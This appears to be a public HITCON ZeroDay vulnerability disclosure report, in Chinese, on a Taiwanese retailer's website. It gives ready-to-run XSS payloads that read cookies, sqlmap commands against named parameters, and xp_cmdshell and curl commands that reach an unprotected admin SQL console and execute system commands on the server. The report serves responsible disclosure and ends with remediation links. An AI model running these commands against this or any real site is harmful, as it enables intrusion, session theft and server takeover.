Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2023-00208
- Vendor: 歐沛蕾國際有限公司
- Title: 歐沛蕾國際有限公司 網站存在 XSS 與 SQL injection 與 Broken Access Control to SQL injection to RCE
- Introduction: 網站存在 XSS 與 SQL injection 與 broken access control to SQL injection to RCE
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2023/05/18 20:12:21 : 新提交 (由 BTtea 更新此狀態)
- 2023/05/18 20:15:29 : 新提交 (由 BTtea 更新此狀態)
- 2023/05/18 20:17:54 : 新提交 (由 BTtea 更新此狀態)
- 2023/05/18 20:21:06 : 新提交 (由 BTtea 更新此狀態)
- 2023/05/18 20:22:24 : 新提交 (由 BTtea 更新此狀態)
- 2023/05/18 20:37:15 : 新提交 (由 BTtea 更新此狀態)
- 2023/05/18 20:40:07 : 新提交 (由 BTtea 更新此狀態)
- 2023/05/20 01:12:34 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/05/29 21:13:55 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/05/29 21:13:55 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/05/29 21:13:55 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/06/20 20:57:01 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/06/20 20:57:01 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/06/20 20:57:01 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/07/18 03:00:10 : 公開 (由 HITCON ZeroDay 平台自動更新)
- 2023/08/08 18:15:27 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/08/16 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2023-00208
- 通報者:blacktea_player (BTtea)
- 風險:嚴重
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
https://www.steiff.com.tw/steiffshop/ProductDetails.jsp
https://www.steiff.com.tw/steiffshop/shop-login.jsp
https://www.steiff.com.tw/tools/db/SQLCommand.jsp
敘述
使用工具 SQLmap 輔助測試 (以下若使用SQLmap工具進行注入時有中斷問題,請去除 --batch 參數後進行注入,遇到詢問連線異常是否繼續測試的訊息請選擇預設默認選項,通常是 y )
-
XSS 與 SQL injection
- https://www.steiff.com.tw/steiffshop/ProductList.jsp?keyword=123&submit_search=
- https://www.steiff.com.tw/steiffshop/ProductList.jsp?promoNumber=16&codeSize=92&codeColor=T&season=1
- https://www.steiff.com.tw/steiffshop/ProductList.jsp?promoNumber=16&codeSize=92&codeColor=T&season=1&middleCategorySerNo=GDSMC000000000000000126033
- https://www.steiff.com.tw/steiffshop/ProductList.jsp?smallCategorySerNo=GDSTC000000000000000099556
- https://www.steiff.com.tw/steiffshop/ProductList.jsp?middleBrandSerNo=MBRND000000000000000283356
- https://www.steiff.com.tw/steiffshop/ProductList.jsp?priceRange=1-600
GET 參數 keyword , promoNumber , codeSize , codeColor , season , middleCategorySerNo , smallCategorySerNo , middleBrandSerNo , priceRange , errMsg 存在 XSS
xss payload
keyword , promoNumber , middleCategorySerNo , smallCategorySerNo , middleBrandSerNo"><script>alert(document.cookie)</script> </script><script>alert(document.cookie)</script> ";}alert(document.cookie);{"codeSize , codeColor , season , priceRange
"><script>alert(document.cookie)</script> </script><script>alert(document.cookie)</script> ");alert(document.cookie)//運行結果
-
存在 SQL injecton 的如下
GET 參數 codeSize , codeColor , season , middleCategorySerNo , smallCategorySerNo , middleBrandSerNo , priceRange 存在 SQL injecton
SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )codeSize , codeColor , season ( -p 參數可換 )
python3 sqlmap.py --random-agent -u "https://www.steiff.com.tw/steiffshop/ProductList.jsp?promoNumber=16&codeSize=92&codeColor=T&season=1" --dbms=mssql --technique B --batch -p codeSize運行結果
middleCategorySerNo
python3 sqlmap.py --random-agent -u "https://www.steiff.com.tw/steiffshop/ProductList.jsp?promoNumber=16&codeSize=92&codeColor=T&season=1&middleCategorySerNo=GDSMC000000000000000126033" --dbms=mssql --technique B --batch -p middleCategorySerNo運行結果
smallCategorySerNo
python3 sqlmap.py --random-agent -u "https://www.steiff.com.tw/steiffshop/ProductList.jsp?smallCategorySerNo=GDSTC000000000000000099556" --dbms=mssql --technique B --batch運行結果
middleBrandSerNo
python3 sqlmap.py --random-agent -u "https://www.steiff.com.tw/steiffshop/ProductList.jsp?middleBrandSerNo=MBRND000000000000000283356" --dbms=mssql --technique B --batch運行結果
priceRange
python3 sqlmap.py --random-agent -u "https://www.steiff.com.tw/steiffshop/ProductList.jsp?priceRange=1-600" --dbms=mssql --technique B --batch運行結果
-
XSS
-
https://www.steiff.com.tw/steiffshop/shop-login.jsp?errMsg=123
GET 參數 errMsg 存在 XSS
errMsg<script>alert(document.cookie)</script> -
https://www.steiff.com.tw/steiffshop/ProductDetails.jsp?func=add&codeStyle=922126&codeColor=&codeSize=
POST : addToCart_Code=922126DB&addToCart_CodeColor=&addToCart_CodeSize=&button=%A5%5B%A4J%C1%CA%AA%AB%A8%AE
POST 參數 addToCart_CodeColor , addToCart_CodeSize 存在 XSS"><script>alert(document.cookie)</script> </script><script>alert(document.cookie)</script> ";}alert(document.cookie);{"
-
-
錯誤訊息觸發
- https://www.steiff.com.tw/steiffshop/ProductList.jsp?promoNumber=16&pageNum=2
pageNum 加上任意字元可以觸發錯誤訊息
- https://www.steiff.com.tw/steiffshop/ProductList.jsp?promoNumber=16&pageNum=2
-
Broken Access Control to SQL injection to RCE
由於沒有帳密控管,並且資料庫權限很大,導致可直接存取管理員操作功能下SQL指令直接RCE。
- 可以從掃描出來的網站目錄找到 /tools,有一個列表,選第2個「資料庫檢視器」。
- 接下來會來到一個類似可以線上下SQL的頁面,打開瀏覽器 F12 觀察 network,直接點「執行SQL」。
- 然後會看到 https://www.steiff.com.tw/tools/db/SQLCommand.jsp 頁面,直接連過來,在裡面輸入如下指令後按執行即可 RCE。
DECLARE @hhsr VARCHAR(2000); SET @hhsr='whoami & powershell pwd'; EXEC master..xp_cmdshell @hhsr;執行結果
或者使用下方指令,@hhsr='這裡改成命令即可';
Linuxcurl -X POST "https://www.steiff.com.tw/tools/db/SQLCommand.jsp" -d "sql=DECLARE+@hhsr+VARCHAR(2000);SET+@hhsr='ipconfig';EXEC+master..xp_cmdshell+@hhsr;&maxRows=1000" -s|grep "<TD>"windows
curl -X POST "https://www.steiff.com.tw/tools/db/SQLCommand.jsp" -d "sql=DECLARE+@hhsr+VARCHAR(2000);SET+@hhsr='ipconfig';EXEC+master..xp_cmdshell+@hhsr;&maxRows=1000" -s|find "<TD>"
-
無意義但不應該被存取的站點目錄可能導致資訊洩漏或其他危害
https://www.steiff.com.tw/menu (管理各功能介面無須密碼)
https://www.steiff.com.tw/test.html
https://www.steiff.com.tw/tools (管理各功能介面無須密碼)
https://www.steiff.com.tw/web
修補建議
XSS攻擊防禦原理解說:(wiki):
https://zh.wikipedia.org/zh-tw/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC
使用參數化查詢防禦SQL injection
參數化查詢原理解說(wiki):
https://zh.wikipedia.org/zh-tw/%E5%8F%83%E6%95%B8%E5%8C%96%E6%9F%A5%E8%A9%A2
SQL injection 攻擊成因解說(wiki):
https://zh.wikipedia.org/zh-tw/SQL%E6%B3%A8%E5%85%A5